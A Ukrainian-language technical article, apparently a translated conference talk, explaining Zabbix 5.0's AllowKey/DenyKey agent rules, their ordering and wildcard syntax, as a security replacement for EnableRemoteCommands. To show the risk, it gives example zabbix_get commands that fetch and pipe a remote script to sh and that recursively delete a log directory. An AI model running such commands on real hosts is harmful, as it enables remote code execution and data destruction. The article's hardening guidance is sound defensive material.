Підтримка чорних та білих списків для метрик на стороні агента у Zabbix 5.0

Підтримка чорних та білих списків для метрик на стороні агента

Тихін Усков, Інженер інтеграції, Zabbix

Проблеми безпеки даних

У Zabbix 5.0 з'явилася нова функція, яка дозволяє покращити безпеку в системах з використанням Zabbix Agent та замінює старий параметр EnableRemoteCommands.

Удосконалення безпеки систем з використанням агента обумовлено тим фактом, що агент може виконувати велику кількість потенційно небезпечних дій.

• Агент може збирати практично будь-яку інформацію, у тому числі конфіденційного або потенційно небезпечного характеру, з конфігураційних файлів, файлів логів, файлів з паролями або будь-яких інших файлів.

Наприклад, за допомогою утиліти zabbix_get можна отримати доступ до списку користувачів, їх домашніх каталогів, файлів з паролями і т.д.

Доступ до даних за допомогою утиліти zabbix_get

ПРИМІТКА. Дані можуть бути отримані лише якщо агент має права на читання відповідного файлу. Але, наприклад, файл /etc/passwd/ доступний для читання всім користувачам.

• Агент також може виконувати потенційно небезпечні команди. Наприклад, ключ *system.run[]** дозволяє виконувати будь-які віддалені команди на вузлах мережі, у тому числі запускати з веб-інтерфейсу Zabbix скрипти, які також виконують команди на стороні агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• У Linux за замовчуванням агент запускається без root-привілеїв, тоді як у Windows він запускається як сервіс від імені System і має необмежений доступ до файлової системи. Відповідно, якщо після встановлення до параметрів Zabbix Agent не внесено змін, агент має доступ до реєстру, файлової системи та може виконувати WMI запити.

У попередніх версіях параметр EnableRemoteCommands=0 дозволяв лише відключати метрики з ключем *system.run[]** та виконання скриптів з веб-інтерфейсу, але при цьому не було можливості обмежити доступ до окремих файлів, дозволити чи заборонити окремі ключі, які встановлювалися разом із агентом, чи обмежити використання окремих параметрів.

Використання параметра EnableRemoteCommand у ранніх версіях Zabbix

AllowKey/DenyKey

Zabbix 5.0 допомагає захиститися від такого несанкціонованого доступу завдяки білим та чорним спискам для дозволу та заборони метрик на стороні агента.

У Zabbix 5.0 всі ключі, включаючи *system.run[]**, дозволені, та додано два нових параметри конфігурації агента:

AllowKey= - Дозволені перевірки;

DenyKey= - Заборонені перевірки;

де - Патерн імені ключа з параметрами, в якому використовуються метасимволи (*).

Ключі AllowKey та DenyKey дозволяють дозволити чи заборонити окремі метрики за певним шаблоном. На відміну від інших параметрів конфігурації, кількість параметрів AllowKey/DenyKey не обмежена. Це дозволяє чітко визначити, що саме агент може робити в системі завдяки створенню дерева перевірок — ключів, що виконуються, де дуже важливу роль відіграє порядок їх написання.

Послідовність правил

Правила перевіряються в тому порядку, в якому вони внесені до конфігураційного файлу. Перевірка ключа за правилами відбувається до першого збігу, і щойно ключ елемента даних збігається з патерном, він дозволяється чи забороняється. Після цього перевірка правил зупиняється та інші ключі ігноруються.

Тому якщо елемент відповідає і дозвільному, і забороняє правило, результат залежатиме від того, яке правило буде першим у конфігураційному файлі.

2 різних правила з однаковим патерном та ключ vfs.file.size[/tmp/file]

Порядок використання ключів AllowKey/DenyKey:

1. точні правила,
2. загальні правила,
3. забороняюче правило.

Наприклад, якщо вам потрібний доступ до файлів у певній папці, необхідно спочатку дозволити доступ до них, після чого заборонити все інше, що не підпадає під встановлені дозволи. Якщо в першу чергу буде використано забороняюче правило, доступ до папки буде заборонено.

Правильна послідовність

Якщо необхідно дозволити запуск 2 утиліт через *system.run[]**, і в першу чергу буде вказано забороняюче правило, утиліти не запускатимуться, тому що перший патерн завжди відповідатиме будь-якому ключу, і наступні правила ігноруватимуться.

Неправильна послідовність

патерни

Основні правила

Паттерн - вираз із підстановними знаками (wildcard). Метасимвол (*) відповідає будь-якій кількості будь-яких символів у певній позиції. Метасимволи можуть використовуватися як у імені ключа, так і параметрах. Наприклад, можна жорстко визначити текстом перший параметр, а наступний вказати як wildcard.

Параметри мають бути поміщені у квадратні дужки [].

• system.run[* - невірно
• vfs.file*.txt] - невірно
• vfs.file.*[*] - вірно

Приклади використання wildcard.

1. У імені ключа та у параметрі. У цьому випадку ключ не відповідає аналогічному ключу, який не містить параметра, оскільки в патерні ми вказали, що хочемо отримати якесь закінчення імені ключа і якийсь набір параметрів.
2. Якщо у патерні не використані квадратні дужки, патерн дозволяє всі ключі, які не містять параметри та забороняє всі ключі із зазначеним параметром.
3. Якщо ключ записано повністю, а параметри вказані як wildcard, він буде відповідати будь-якому аналогічному ключу з будь-якими параметрами і не відповідатиме ключу без квадратних дужок, тобто буде дозволено або заборонено.

Правила наповнення параметрів.

• Якщо використовується ключ з параметрами, параметри повинні бути прописані у файлі конфігурації. Параметри мають бути вказані як метасимвол. Необхідно обережно забороняти доступ до будь-якого файлу та враховувати, яку інформацію зможе віддавати метрика при різних варіантах написання – з параметрами та без них.

Особливості написання ключів із параметрами

• Якщо ключ вказаний із параметрами, але параметри є необов'язковими і вказані як метасимвол, ключ без параметрів буде дозволено. Наприклад, якщо ви хочете заборонити отримання інформації про навантаження на CPU і вказуєте, що ключ system.cpu.load[*] має бути заборонено, не забувайте, що ключ без параметрів поверне середнє навантаження.

Правила заповнення параметрів

Нотатки

Налаштування

• Деякі правила не можуть бути змінені користувачем, наприклад правила виявлення (discovery) або автореєстрації агентів. Правила AllowKey/DenyKey не торкаються наступних параметрів:
  - HostnameItem
  - HostMetadataItem
  - HostInterfaceItem

ПРИМІТКА. Якщо адміністратор забороняє будь-який ключ, при запиті Zabbix не видає інформації про те, чому метрика або ключ потрапляють у категорію 'NOTSUPPORTED'. У log-файлах агента інформація про заборони виконання віддалених команд також не відображається. Це з міркувань безпеки, але може ускладнити налагодження, якщо метрики потрапляють у непідтримувану категорію з якихось причин.

• Не варто розраховувати на певний порядок підключення зовнішніх файлів конфігурації (наприклад, в алфавітному порядку).

Утиліти командного рядка

Після налаштування правил необхідно переконатися, що все налаштовано правильно.

Можна скористатися одним із трьох варіантів:

• Додати метрику в Zabbix.
• Протестувати за допомогою zabbix_agentd. Zabbix agent з опцією -print (-p) показує всі ключі (які дозволені за замовчуванням), крім тих, що не дозволені конфігурацією. А з опцією -Test (-t) для забороненого ключа поверне 'Unsupported item key».
• Протестувати за допомогою zabbix_get. Утиліта zabbix_get з опцією -k поверне 'ZBX_NOTSUPPORTED: Unknown metric».

Дозволяти чи забороняти

Ви можете заборонити доступ до файлу та переконатися, наприклад, за допомогою утиліти zabbix_get, що доступ до файлу заборонено.

**

ПРИМІТКА. Лапки у параметрі ігноруються.

При цьому доступ до такого файлу може бути дозволений іншим шляхом. Наприклад, якщо на нього веде симлінк.

Рекомендується перевіряти різні варіанти застосування правил, що задаються, а також враховувати можливості обійти заборони.

Питання та відповіді

питання. Чому для опису правил, дозволів та заборон обрана така складна схема патерну зі своєю мовою? Чому не було можливості скористатися, наприклад, регулярними виразами, які використовує Zabbix?

відповідь. Це питання продуктивності regex, оскільки агент, як правило, один, і він перевіряє величезну кількість метрик. Regex – досить важка операція, і ми не можемо перевіряти тисячі метриків у такий спосіб. Wildcards — універсальне, застосовуване і просте рішення..

питання. Хіба файли Include підключаються не за абеткою?

відповідь. Наскільки мені відомо, передбачити послідовність застосування правил, якщо ви розносите правила з різних файлів, фактично неможливо. Я рекомендую зібрати всі правила AllowKey/DenyKey в одному файлі Include, тому що вони взаємодіють один з одним і підключати цей файл.

питання. У Zabbix 5.0 опція 'EnableRemoteCommands=' у конфігураційному файлі відсутня, і доступні лише AllowKey/DenyKey?

Відповідь. Так все вірно.

Дякуємо за увагу!

Джерело: habr.com